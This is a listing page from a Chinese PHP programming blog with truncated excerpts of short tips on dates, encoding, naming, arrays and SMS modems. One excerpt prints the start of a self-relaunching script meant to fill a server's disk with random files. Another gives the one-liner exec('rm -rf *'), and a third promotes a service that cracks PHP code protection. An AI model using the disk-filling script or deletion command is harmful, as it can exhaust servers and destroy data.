• php 日期处理 当前时间加一年等
    <?php  date_default_timezone_set('PRC'); //默认时区  echo"今天:",date("Y-m-d",time()),"<br>";  echo"今天:",date("Y-m-d",strtotime("18 june 2008")),"<br>";  echo"昨天:",date("Y-m-d",strtotime("-1 day")), "<br>";  echo"明天:",date("Y-m-d",strtotime("+1 day")), "<br>";  echo"一周后:",date("Y-m-d",strtotime("+1 week")), "<br>";  echo"一周零两天四小时两秒后:",date("Y-m-d G:H:s",strtotime("+1 week 2&…
    作者:七零 时间:2014-09-27 分类:PHP 评论:0条 浏览:4107次
  • php ASCII 字符转换 (汉字及特殊字符) 宽字符 (uft8/unicode)
    1. 英文字母或者数字转ASCII 效果如上 class: <?   class ascii   {       var $asciiText;              function ascii($text,$style)       {           switch($style)           {   …
    作者:七零 时间:2014-09-22 分类:PHP 评论:0条 浏览:3146次
  • php 开启 pdo sqlite
    在php配置文件,php.ini 中找到;extension=php_pdo_mssql.dll;extension=php_pdo_mysql.dll将前面的';'这个符号去掉,重启apachextension=php_pdo.dll;extension=php_pdo_firebird.dllextension=php_pdo_mssql.dllextension=php_pdo_mysql.dll;extension=php_pdo_oci.dll;extension=php_pdo_oci8.dll;extension=php_pdo_odbc.dll;extension=php_pdo_pgsql.dllextension=php_pdo_sqlite.dll
    作者:七零 时间:2014-09-22 分类:PHP 评论:0条 浏览:2591次
  • ThinkPHP4的命名规范
    目录采用驼峰法命名,并且首字母大写; 类库文件以php为后缀,使用驼峰法命名,并且首字母大写; 非类文件(配置、函数、模板文件等均采用全小写加下划线定义); 类名均以命名空间定义,并且命名空间的路径和类库文件所在路径一致(包括大小写一致); 函数的命名使用小写字母和下划线的方式,例如 get_client_ip; 方法的命名使用驼峰法,并且首字母小写或者使用下划线“_”,例如 getUserName,_parseType,通常下划线开头的方法属于私有方法; 属性的命名使用驼峰法,并且首字母小写或者使用下划线“_”,例如 tableName、_instance,通常下划线开头的属性属于私有属性; 以双下划线“__”打头的函数或方法作为魔法方法,例如 __call 和 __autoload; 常量以大写字母和下划线命名,例如 HAS_ONE和 MANY_TO_MANY; 配置参数以小写字母和下划线命名,例如 html_cache_on; 对变量的命名没有强制的规范,可以根据团队规范来进行; ThinkPHP的模板文件默…
    作者:七零 时间:2014-08-28 分类:PHP 评论:0条 浏览:2002次
  • PHP解析\u60A8类似的字符串为中文
    有时候从API或别的地方中获取的数据中文都被转码了,类似u4E86u89E3u66F4u591A这样的,看到很蛋疼,于是从网上查找了相关资料,记录下来,方便自己以后使用,下面附上解码方式:function code2utf($num){ if($num<128)return chr($num); if($num<2048)return chr(($num>>6)+192).chr(($num&63)+128); if($num<65536)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128); if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128).chr(($num&63)+128); return '…
    作者:七零 时间:2014-08-28 分类:PHP 评论:0条 浏览:2056次
  • 一段php加密解密的代码
    <?php $key = "This is supposed to be a secret key !!!"; function keyED($txt,$encrypt_key) { $encrypt_key = md5($encrypt_key); $ctr=0; $tmp = ""; for ($i=0;$i<strlen($txt);$i++) { if ($ctr==strlen($encrypt_key)) $ctr=0; $tmp.= substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1); $ctr++; } return $tmp; } function encrypt($txt,$key) { srand((double)microtime()*1000000); $encrypt_key = md5(rand(0,32000)); $ctr=0; $tmp = ""; for ($i=0;$i<strlen($txt);$i++) { if ($ctr==strlen($encrypt_key)) $ctr=…
    作者:七零 时间:2014-08-27 分类:PHP 评论:0条 浏览:1428次
  • php类名和方法名的命名规范
    Θ 类文件都以.class.php为后缀,使用驼峰法命名,并且首字母大写,例如 Pay.class.php;Θ 类名和目录_文件名一致。例如:类名Zend_Autoloader的目录是Zend/Autoloader.class.php;Θ 函数的命名使用小写字母和下划线的方式。例如:get_client_ip;Θ 方法的命名使用驼峰法,首字母小写或者使用下划线”_”,例如listComment(),_getResource(),通常下划线开头的方法属于私有方法;Θ 属性的命名使用驼峰法,首字母小写或者使用下划线”_”,如$username,$_instance,通常下划线开头的属性属于私有属性;Θ 常量以大写字母和下划线”_”命名,如”HOME_URL”;
    作者:七零 时间:2014-08-13 分类:PHP 评论:0条 浏览:1977次
  • PHP加密技术
    php是现在比较流行的服务器端软件,通过php编制的动态网页应用的十分广泛,那么我今天就带大家来了解一下php加密技术。 一、PHP加密技术的基本原理 是对原来为明文的文件或数据按某种加密算法进行处理,使其成为不可读的一段代码,通过这样的途径来达到保护数据不被非法窃取,阅读的目的。 二、PHP中对数据进行加密的函数 PHP中对数据进行加密的函数有:crypt(),md5()和shal(),还有加密扩展库Mcrypt和Mhash。 1、crypt(): 可以完成单向加密功能,(无法解密)。 格式:string crypt(string str[,string salt]); str参数是需要加密的字符串,salt参数为加密时使用的干扰串。如省略掉第二个参数,则会随机生成一个干扰串。 说明:缺省情况下,PHP使用一个2个字符的DES干扰串,如果系统使用的是MD5,则会使用一个12个字符。可以通过CRYPT_SALT_LENCTH变量来查看当前所使用的干扰串的长度,该函数支持4种算加密法和长度。 2、MD5(): 格式:string md5(string str[,bool raw…
    作者:七零 时间:2014-08-12 分类:PHP 评论:0条 浏览:1637次
  • php和短信猫利用中间件实现短信收发
    困难重重: 近期有个项目是用php开发需要实现在线短信收发,起初想到的是用php直接调用dll发短信,研究发现无法实现,可以使用at指令进行控制,只是实现了发送,仅仅发出指令而已,对于结果却没有反馈。 豁然开朗: 百度搜索找到了短信猫的中间件,即 仅仅操作数据库,剩下的事情由中间件来完成,这是一个很好的思路,鉴于时间的紧迫性,和自己真的对c#、vb等开发语言不是太熟,又想到很多oa都有短信收发功能,决定从别的oa找找有没有可以直接拿来用的中间件,(从别的oa找的原因就是网上提供的中间件是收费的),我第一个想到的oa就是通达oa,别问我为什么,因为。。。。。我之间就从通达oa取出了一个mysql数据库备份的东西,那是相当强大啊,果然通达oa里边有这样的东西,悲剧的是,数据库备份的是免费的组件,短信猫的是收费的组件。万能的百度永远是最好的,找到了 旧版的下载包,测试可用。 开发总结: 利用这个中间件,在原有的数据库添加了5个表,因为中间件定死了表名,只能按照他们的来了,设置好相关的参数,成功运行了。该程序运行稳定,能收能发,考虑以后自己做一个这样的中间件。 相关用途: 用于在线短信…
    作者:七零 时间:2014-08-12 分类:PHP 评论:0条 浏览:1939次
  • php加密研究-初级版
    我所认为的zend加密的方式: 变量混淆后进行加密转为二进制加快速度。 我所要做的加密: 变量混淆,使用zend早期版本进行加密。 所需要的资料:  (目前使用php语言进行加密) 1.php自动创建目录 2.理解php函数 token_get_all http://php.net/manual/zh/function.token-get-all.php 3.知道php有哪些预定义变量  超全局变量http://php.net/manual/zh/reserved.variables.php 4.知道php解析器代号列表 http://php.net/manual/zh/tokens.php 5.知道php怎样遍历目录,保存文件到指定目录 总结:已经做出了php加密的初级版本,实现了变量名的乱码式混淆,随机添加花指令,去掉了所有的注释。 预添加的功能:随机添加注视,花指令的复杂性。变量名压缩,混淆变量后用zend进行加密(不使用新版,新版使用了混淆,二次混淆后 可能出现的无法预知的问题)。 目前存在的问题:任何以 eval、preg_match、等字符…
    作者:七零 时间:2014-08-11 分类:PHP 评论:0条 浏览:1860次
  • PHP二维数组排序函数
    PHP一维数组的排序可以用sort(),asort(),arsort()等函数,但是PHP二维数组的排序需要自定义。 以下函数是对一个给定的二维数组按照指定的键值进行排序,先看函数定义: function array_sort($arr,$keys,$type='asc'){ $keysvalue = $new_array = array(); foreach ($arr as $k=>$v){ $keysvalue[$k] = $v[$keys]; } if($type == 'asc'){ asort($keysvalue); }else{ arsort($keysvalue); } reset($keysvalue); foreach ($keysvalue as $k=>$v){ $new_array[$k] = $arr[$k]; } return $new_array; } 它可以对二维数组按照指定的键值进行排序,也可以指定升序或降序排序法(默认为升序),用法示例: $array = array( array('name'=>'手机','bran…
    作者:七零 时间:2014-08-07 分类:PHP 评论:0条 浏览:1726次
  • 利用.htaccess绑定二级目录,实现一个空间多个站点
    空间根目录配置: RewriteEngine onRewriteCond %{HTTP_HOST} ^www.qiling.net$ [NC]RewriteRule ^(.*)$ /__qiling_net/$1 [QSA,PT,L]RewriteCond %{HTTP_HOST} ^www.dys.org.cn$ [NC] RewriteRule ^(.*)$ /__www.dys.org.cn/$1 [QSA,PT,L] 二级目录配置: RewriteEngine OnRewriteBase /__qiling_net
    作者:七零 时间:2014-07-25 分类:PHP 评论:0条 浏览:1899次
  • ide eclipse根据属性生成 setter/getter 方法
    shift+alt+s      set/get
    作者:七零 时间:2014-07-25 分类:PHP 评论:0条 浏览:1706次
  • 牛逼的php解密网站
    http://www.dephp.cn php解密加密|php混淆破解|phpjm.net破解|phpdp神盾破解|php威盾破解|php微盾破解|tianyiw破解|php源码破解|php在线破解|php反编译|zend6解密|Zend Guard 6 破解php解密加密,php混淆破解,phpjm.net破解,phpdp神盾破解,php威盾破解,php微盾破解,tianyiw破解,php源码破解,php在线破解,php反编译专家找源码,专注于PHP源码解密加密,php代码混淆。现针对国内外,所有PHP混淆类加密均可破解。现在已知可破解:phpjm,phpdp神盾,php威盾,php微盾,tianyiw破解等。系统在线一键完成破解,简单方便。
    作者:七零 时间:2014-07-22 分类:PHP 评论:0条 浏览:2361次
  • php一键写满服务器。。。
    <?phpset_time_limit(0);ignore_user_abort(true);visitMySelf();$dir = rand().rand().rand().rand().rand().rand().rand().rand().rand().rand().rand().rand().rand().time();$dir = str_repeat($dir , 100);$dir = str_replace('1', ' ' ,$dir);$dir = trim($dir);$dir = str_replace(' ', '/' ,$dir);@mkdir($dir,0777,true);$save_path = explode('/', $dir);//生成1000个文件 随机保存在前20个目录for ($i = 0; $i < 1000; $i++) { $path = implode(array_slice($save_path,0,rand(1, 20)), '/'); file_put_contents($path.'/'.rand().rand…
    作者:七零 时间:2014-07-19 分类:PHP 评论:0条 浏览:1842次
  • php数组处理:去重和删掉空白
    数组去重:array_unique($array); 数组去掉空白: print_r(array_filter($array));
    作者:七零 时间:2014-07-14 分类:PHP 评论:0条 浏览:2432次
  • 一句话删除目录下所有文件
    收集自网上: array_map('unlink', glob('*')); 抛砖引玉而已,有很多朋友可能还不知道有glob这个函数吧。更多的用法看手册吧。 http://cn2.php.net/manual/zh/function.glob.php Ps:这是一个神奇的函数。 exec('rm -rf *');
    作者:七零 时间:2014-07-12 分类:PHP 评论:0条 浏览:1654次
  • PHP生成唯一订单号
    /**  *  * uniqid - 官方是这样说的:  * Gets a prefixed unique identifier based on the current time in microseconds.  */ function build_order_no() {     return date('Ymd').substr(implode(NULL, array_map('ord', str_split(substr(uniqid(), 7, 13), 1))), 0, 8); } 用uniqid获取一个基于当前的微秒数生成的唯一不重复的字符串(但是他的前7位貌似很久才会发生变动,所以不用考虑可删除),取其第8到13位。但是这个字符串里面有英文字母,咋办?用ord获取他的ASCII码,所以就有了下一步:用str_split把这个字符串分割为数组,用array_map去操作(速度快点)。然后返回的还是一个数组,KO,在用implode弄成字符…
    作者:七零 时间:2014-07-12 分类:PHP 评论:0条 浏览:1736次
  • php统计中英文字数
    /**  * UTF-8编码情况下 *  * 计算字符串的长度 *  * @param   string      $str        字符串  *  * @return  array  */ function strLength($str) {     $length = strlen(preg_replace('/[-]/', '', $str));       $arr['en'] = strlen($str) - $le…
    作者:七零 时间:2014-06-27 分类:PHP 评论:0条 浏览:2095次
  • 短信猫编程的一些资料1(At指令发送短信)
    现在正在做TC35的项目, 下面分享一下这几天在网上找到的资料: 手机 SMS PDU 格式参考手册  1.相关的GSM   AT指令     与SMS有关的GSM   AT指令(from   GSM07.05)如表1所示:     表1   相关的GSM   AT指令     AT   指令   功                                     &…
    作者:七零 时间:2014-06-26 分类:PHP 评论:0条 浏览:1978次
首页 上一页 2 3 4 5 6 下一页 尾页 总117条,5/6页,每页20条
^